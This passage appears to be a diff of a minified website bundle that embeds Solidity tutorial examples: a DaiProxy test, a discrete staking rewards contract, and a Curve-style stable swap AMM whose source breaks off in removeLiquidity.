29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS9kYWktcHJveHkvRGFpUHJveHkuc29sIjsKCmFkZHJlc3MgY29uc3RhbnQgVkFUID0gMHgzNUQxYjNGM0Q3OTY2QTFERmUyMDdhYTQ1MTRDMTJhMjU5QTA0OTJCOwoKdWludDI1NiBjb25zdGFudCBXQUQgPSAxZTE4Owp1aW50MjU2IGNvbnN0YW50IFJBWSA9IDFlMjc7CnVpbnQyNTYgY29uc3RhbnQgUkFEID0gMWU0NTsKCnVpbnQyNTYgY29uc3RhbnQgRVRIX0FNT1VOVCA9IDEwMCAqIDFlMTg7CnVpbnQyNTYgY29uc3RhbnQgREFJX0FNT1VOVCA9IDEwMDAwICogMWUxODsKCmNvbnRyYWN0IERhaVByb3h5VGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSUNkcE1hbmFnZXIgcHJpdmF0ZSBjb25zdGFudCBjZHBNYW5hZ2VyID0gSUNkcE1hbmFnZXIoQ0RQX01BTkFHRVIpOwogICAgSVZhdCBwcml2YXRlIGNvbnN0YW50IHZhdCA9IElWYXQoVkFUKTsKICAgIERhaVByb3h5IHByaXZhdGUgcHJveHk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHByb3h5ID0gbmV3IERhaVByb3h5KCk7CgogICAgICAgIC8vIENoZWNrIG1pbiBib3Jyb3cKICAgICAgICBJVmF0LklsayBtZW1vcnkgaWxrID0gdmF0Lmlsa3MoRVRIX0MpOwogICAgICAgIGFzc2VydEdlKERBSV9BTU9VTlQgKiBSQVksIGlsay5kdXN0LCAiREFJIGJvcnJvdyBhbW91bnQgPCBkdXN0Iik7CgogICAgICAgIC8vIEludGVyZXN0IHJhdGUgYWNjdW11bGF0b3IKICAgICAgICBjb25zb2xlMi5sb2coImlsay5yYXRlIiwgaWxrLnJhdGUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHByaW50KGFkZHJlc3MgdXJuQWRkcikgcHJpdmF0ZSB7CiAgICAgICAgSVZhdC5Vcm4gbWVtb3J5IHVybiA9IHZhdC51cm5zKEVUSF9DLCB1cm5BZGRyKTsKICAgICAgICBjb25zb2xlMi5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBjb2xsYXRlcmFsIFt3YWRdIiwgdXJuLmluayk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBkZWJ0ICAgICAgIFt3YWRdIiwgdXJuLmFydCk7CiAgICAgICAgY29uc29sZTIubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiRVRIIGluIHByb3h5ICAgICBbd2FkXSIsIGFkZHJlc3MocHJveHkpLmJhbGFuY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfcHJveHkoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgY2RwSWQgPSBwcm94eS5jZHBJZCgpOwogICAgICAgIGFkZHJlc3MgdXJuQWRkciA9IGNkcE1hbmFnZXIudXJucyhjZHBJZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],hm=`

                    Example

                    Example of locking ETH collateral, borrowing DAI, repaying DAI and unlocking ETH using DssProxy.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4517,7 +4517,7 @@ specify the location of the data.
                    
 interface ICdpManager {
     function urns(uint256 cdpId) external view returns (address urn);
 }
-
                    `,Im=({prev:s,next:a})=>r.jsx(u,{version:om,title:rm,description:im,html:hm,prev:s,next:a,codes:gm}),dm="0.8.24",Cm="Discrete Staking Rewards",jm="Discrete staking rewards",um=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50MjU2IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSKSAvIHRvdGFsU3VwcGx5OwogICAgfQoKICAgIGZ1bmN0aW9uIF9jYWxjdWxhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBzaGFyZXMgPSBiYWxhbmNlT2ZbYWNjb3VudF07CiAgICAgICAgcmV0dXJuIChzaGFyZXMgKiAocmV3YXJkSW5kZXggLSByZXdhcmRJbmRleE9mW2FjY291bnRdKSkgLyBNVUxUSVBMSUVSOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbGN1bGF0ZVJld2FyZHNFYXJuZWQoYWRkcmVzcyBhY2NvdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIGVhcm5lZFthY2NvdW50XSArIF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgZWFybmVkW2FjY291bnRdICs9IF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgICAgIHJld2FyZEluZGV4T2ZbYWNjb3VudF0gPSByZXdhcmRJbmRleDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Rha2UodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICB1aW50MjU2IHJld2FyZCA9IGVhcm5lZFttc2cuc2VuZGVyXTsKICAgICAgICBpZiAocmV3YXJkID4gMCkgewogICAgICAgICAgICBlYXJuZWRbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgICAgICByZXdhcmRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],Am=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    +`,Im=({prev:s,next:a})=>r.jsx(A,{version:om,title:rm,description:im,html:hm,prev:s,next:a,codes:gm}),dm="0.8.24",Cm="Discrete Staking Rewards",jm="Discrete staking rewards",Am=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50MjU2IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSKSAvIHRvdGFsU3VwcGx5OwogICAgfQoKICAgIGZ1bmN0aW9uIF9jYWxjdWxhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBzaGFyZXMgPSBiYWxhbmNlT2ZbYWNjb3VudF07CiAgICAgICAgcmV0dXJuIChzaGFyZXMgKiAocmV3YXJkSW5kZXggLSByZXdhcmRJbmRleE9mW2FjY291bnRdKSkgLyBNVUxUSVBMSUVSOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbGN1bGF0ZVJld2FyZHNFYXJuZWQoYWRkcmVzcyBhY2NvdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIGVhcm5lZFthY2NvdW50XSArIF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgZWFybmVkW2FjY291bnRdICs9IF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgICAgIHJld2FyZEluZGV4T2ZbYWNjb3VudF0gPSByZXdhcmRJbmRleDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Rha2UodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICB1aW50MjU2IHJld2FyZCA9IGVhcm5lZFttc2cuc2VuZGVyXTsKICAgICAgICBpZiAocmV3YXJkID4gMCkgewogICAgICAgICAgICBlYXJuZWRbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgICAgICByZXdhcmRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],um=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    Discrete Staking Rewards

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4612,7 +4612,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,ym=({prev:s,next:a})=>r.jsx(u,{version:dm,title:Cm,description:jm,html:Am,prev:s,next:a,codes:um}),mm="0.8.24",bm="Stable Swap AMM",wm="Curve's stable swap AMM",km=[{fileName:"StableSwap.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                     (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Reccalcuate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
